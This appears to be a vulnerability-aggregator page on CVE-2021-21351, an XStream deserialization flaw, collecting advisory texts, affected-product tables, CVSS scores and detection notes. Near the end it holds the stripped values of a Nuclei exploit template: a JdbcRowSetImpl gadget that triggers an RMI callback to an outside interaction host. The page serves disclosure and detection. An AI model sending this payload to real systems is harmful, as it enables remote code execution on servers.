CVE-2021-21351
published 2021-03-23CVE-2021-21351: XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.16, there is a vulnerability may allow a remote attacker to…
PriorityP276critical9.1CVSS 3.1
AVNACLPRHUINSCCHIHAH
EXPLOIT
EPSS
82.14%
99.6th percentile
XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.16, there is a vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16.
Affected
40 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | activemq | < 5.15.14 | 5.15.14 |
| apache | activemq | — | — |
| apache | activemq | — | — |
| apache | jmeter | < 5.5 | 5.5 |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | libxstream-java | < libxstream-java 1.4.15-2 (bookworm) | libxstream-java 1.4.15-2 (bookworm) |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| oracle | banking_enterprise_default_management | — | — |
| oracle | banking_enterprise_default_management | — | — |
| oracle | banking_platform | — | — |
| oracle | banking_platform | — | — |
| oracle | banking_platform | — | — |
| oracle | banking_platform | — | — |
| oracle | banking_virtual_account_management | — | — |
| oracle | banking_virtual_account_management | — | — |
| oracle | banking_virtual_account_management | — | — |
| oracle | business_activity_monitoring | — | — |
| oracle | business_activity_monitoring | — | — |
| oracle | business_activity_monitoring | — | — |
| oracle | communications_billing_and_revenue_management_elastic_charging_engine | — | — |
| oracle | communications_policy_management | — | — |
Detection & IOCsextracted from sources · hover to see the quote
othercom.sun.rowset.JdbcRowSetImpl
commandrmi://{{interactsh-url}}/test
- →Nuclei template detects CVE-2021-21351 exploitation by matching DNS interaction via interactsh, response body containing 'timestamp' or 'com.thoughtworks.xstream', Content-Type header 'application/json', and HTTP 500 status code.
- →Exploitation payload uses com.sun.rowset.JdbcRowSetImpl with setAutoCommit to trigger RMI callback; look for XStream deserialization payloads referencing this class in processed input streams.
- →Exploit leverages an RMI URL in the deserialized payload to load and execute arbitrary code from a remote host; monitor for outbound RMI connections triggered by XStream deserialization.
- ·Users who configured XStream's security framework with a whitelist limited to the minimal required types are NOT affected by this vulnerability. ↗
- ·Users relying on XStream's default blacklist of the Security Framework must upgrade to at least version 1.4.16 to be protected. ↗
- ·OpenShift Container Platform Jenkins package is not affected due to JEP-200 and JEP-228 protections. ↗
CVSS provenance
nvdv3.19.1CRITICALCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
ghsa9.1CRITICAL
osv9.1CRITICAL
vendor_ubuntu8.0HIGH
vendor_debian5.4MEDIUM
vendor_redhat5.4MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
libxstream-java vulnerabilities
osv·2024-08-22·CVSS 7.5
CVE-2016-3674 [HIGH] libxstream-java vulnerabilities
libxstream-java vulnerabilities
It was discovered that XStream incorrectly handled parsing of certain
crafted XML documents. A remote attacker could possibly use this issue to
read arbitrary files. (CVE-2016-3674)
Zhihong Tian and Hui Lu found that XStream was vulnerable to remote code
execution. A remote attacker could run arbitrary shell commands by
manipulating the processed input stream. (CVE-2020-26217)
It was discovered that XStream was vulnerable to server-side forgery
attacks. A remote attacker could request data from internal resources
that are not publicly available only by manipulating the processed input
stream. (CVE-2020-26258)
It was discovered that XStream was vulnerable to arbitrary file deletion
on the local host. A remote attacker could use this to delete arbitrary
kn
OSV
libxstream-java vulnerabilities
osv·2021-05-11·CVSS 8.8
CVE-2020-26217 [HIGH] libxstream-java vulnerabilities
libxstream-java vulnerabilities
Zhihong Tian and Hui Lu found that XStream was vulnerable to remote code
execution. A remote attacker could run arbitrary shell commands by
manipulating the processed input stream. This issue affected only affected
Ubuntu 20.10. (CVE-2020-26217)
It was discovered that XStream was vulnerable to server-side forgery attacks.
A remote attacker could request data from internal resources that are not
publicly available only by manipulating the processed input stream. This
issue only affected Ubuntu 20.10. (CVE-2020-26258)
It was discovered that XStream was vulnerable to arbitrary file deletion on
the local host. A remote attacker could use this to delete arbitrary known
files on the host as long as the executing process had sufficient rights only
by manipulatin
OSV
CVE-2021-21351: XStream is a Java library to serialize objects to XML and back again
osv·2021-03-23·CVSS 9.1
CVE-2021-21351 [CRITICAL] CVE-2021-21351: XStream is a Java library to serialize objects to XML and back again
XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.16, there is a vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16.
OSV
XStream is vulnerable to an Arbitrary Code Execution attack
osv·2021-03-22·CVSS 9.1
CVE-2021-21351 [CRITICAL] XStream is vulnerable to an Arbitrary Code Execution attack
XStream is vulnerable to an Arbitrary Code Execution attack
### Impact
The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
### Patches
If you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.
### Workarounds
See [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.
### References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream
GHSA
XStream is vulnerable to an Arbitrary Code Execution attack
ghsa·2021-03-22·CVSS 9.1
CVE-2021-21351 [CRITICAL] CWE-434 XStream is vulnerable to an Arbitrary Code Execution attack
XStream is vulnerable to an Arbitrary Code Execution attack
### Impact
The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.
### Patches
If you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.
### Workarounds
See [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.
### References
See full information about the nature of the vulnerability and the steps to reproduce it in XStream
Ubuntu
XStream vulnerabilities
vendor_ubuntu·2024-08-22·CVSS 7.5
CVE-2021-21342 [HIGH] XStream vulnerabilities
Title: XStream vulnerabilities
Summary: Several security issues were fixed in XStream.
It was discovered that XStream incorrectly handled parsing of certain
crafted XML documents. A remote attacker could possibly use this issue to
read arbitrary files. (CVE-2016-3674)
Zhihong Tian and Hui Lu found that XStream was vulnerable to remote code
execution. A remote attacker could run arbitrary shell commands by
manipulating the processed input stream. (CVE-2020-26217)
It was discovered that XStream was vulnerable to server-side forgery
attacks. A remote attacker could request data from internal resources
that are not publicly available only by manipulating the processed input
stream. (CVE-2020-26258)
It was discovered that XStream was vulnerable to arbitrary file deletion
on the local host.
Ubuntu
XStream vulnerabilities
vendor_ubuntu·2021-05-11·CVSS 8.0
CVE-2020-26258 [HIGH] XStream vulnerabilities
Title: XStream vulnerabilities
Summary: Several security issues were fixed in XStream library.
Zhihong Tian and Hui Lu found that XStream was vulnerable to remote code
execution. A remote attacker could run arbitrary shell commands by
manipulating the processed input stream. This issue affected only affected
Ubuntu 20.10. (CVE-2020-26217)
It was discovered that XStream was vulnerable to server-side forgery attacks.
A remote attacker could request data from internal resources that are not
publicly available only by manipulating the processed input stream. This
issue only affected Ubuntu 20.10. (CVE-2020-26258)
It was discovered that XStream was vulnerable to arbitrary file deletion on
the local host. A remote attacker could use this to delete arbitrary known
files on the host as long as
Red Hat
XStream: allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream
vendor_redhat·2021-03-12·CVSS 5.4
CVE-2021-21351 [MEDIUM] CWE-502 XStream: allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream
XStream: allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream
XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.16, there is a vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16.
Statement: OpenShift Container Platform (OCP) delivers Jenkins LTS package with bundled XStream library. Due to JEP-200 [1] and JEP-228 [2]
Debian
CVE-2021-21351: libxstream-java - XStream is a Java library to serialize objects to XML and back again. In XStream...
vendor_debian·2021·CVSS 5.4
CVE-2021-21351 [MEDIUM] CVE-2021-21351: libxstream-java - XStream is a Java library to serialize objects to XML and back again. In XStream...
XStream is a Java library to serialize objects to XML and back again. In XStream before version 1.4.16, there is a vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16.
Scope: local
bookworm: resolved (fixed in 1.4.15-2)
bullseye: resolved (fixed in 1.4.15-2)
forky: resolved (fixed in 1.4.15-2)
sid: resolved (fixed in 1.4.15-2)
trixie: resolved (fixed in 1.4.15-2)
No detection rules found.
Nuclei
XStream <1.4.16 - Remote Code Execution
nuclei·CVSS 9.1
CVE-2021-21351 [CRITICAL] XStream <1.4.16 - Remote Code Execution
XStream
ysomap
-10086
false
false
false
false
false
1008
true
1000
0
2
0
0
0
true
1004
false
rmi://{{interactsh-url}}/test
com.sun.rowset.JdbcRowSetImpl
setAutoCommit
boolean
false
false
false
-1
false
false
1
1
false
ysomap
test
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500
# digest: 490a004630440220206d0bc01d46580267aefcd892f9571db0278ed514238f558cd890345f3bcd3b02204779b05823681dc9980027900b4ef55bbd59ae2f7503ac3e423e8d381b230bd1:922c64590222798bb761d5b6d8e72950
http://x-stream.github.io/changes.html#1.4.16https://github.com/x-stream/xstream/security/advisories/GHSA-hrcp-8f3q-4w2chttps://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd%40%3Cusers.activemq.apache.org%3Ehttps://lists.apache.org/thread.html/r9ac71b047767205aa22e3a08cb33f3e0586de6b2fac48b425c6e16b0%40%3Cdev.jmeter.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2021/04/msg00002.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/22KVR6B5IZP3BGQ3HPWIO2FWWCKT3DHP/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PVPHZA7VW2RRSDCOIPP2W6O5ND254TU7/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QGXIU3YDPG6OGTDHMBLAFN7BPBERXREB/https://security.netapp.com/advisory/ntap-20210430-0002/https://www.debian.org/security/2021/dsa-5004https://www.oracle.com//security-alerts/cpujul2021.htmlhttps://www.oracle.com/security-alerts/cpujan2022.htmlhttps://www.oracle.com/security-alerts/cpuoct2021.htmlhttps://x-stream.github.io/CVE-2021-21351.htmlhttps://x-stream.github.io/security.html#workaroundhttp://x-stream.github.io/changes.html#1.4.16https://github.com/x-stream/xstream/security/advisories/GHSA-hrcp-8f3q-4w2chttps://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd%40%3Cusers.activemq.apache.org%3Ehttps://lists.apache.org/thread.html/r9ac71b047767205aa22e3a08cb33f3e0586de6b2fac48b425c6e16b0%40%3Cdev.jmeter.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2021/04/msg00002.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/22KVR6B5IZP3BGQ3HPWIO2FWWCKT3DHP/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PVPHZA7VW2RRSDCOIPP2W6O5ND254TU7/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QGXIU3YDPG6OGTDHMBLAFN7BPBERXREB/https://security.netapp.com/advisory/ntap-20210430-0002/https://www.debian.org/security/2021/dsa-5004https://www.oracle.com//security-alerts/cpujul2021.htmlhttps://www.oracle.com/security-alerts/cpujan2022.htmlhttps://www.oracle.com/security-alerts/cpuoct2021.htmlhttps://x-stream.github.io/CVE-2021-21351.htmlhttps://x-stream.github.io/security.html#workaround
2021-03-23
Published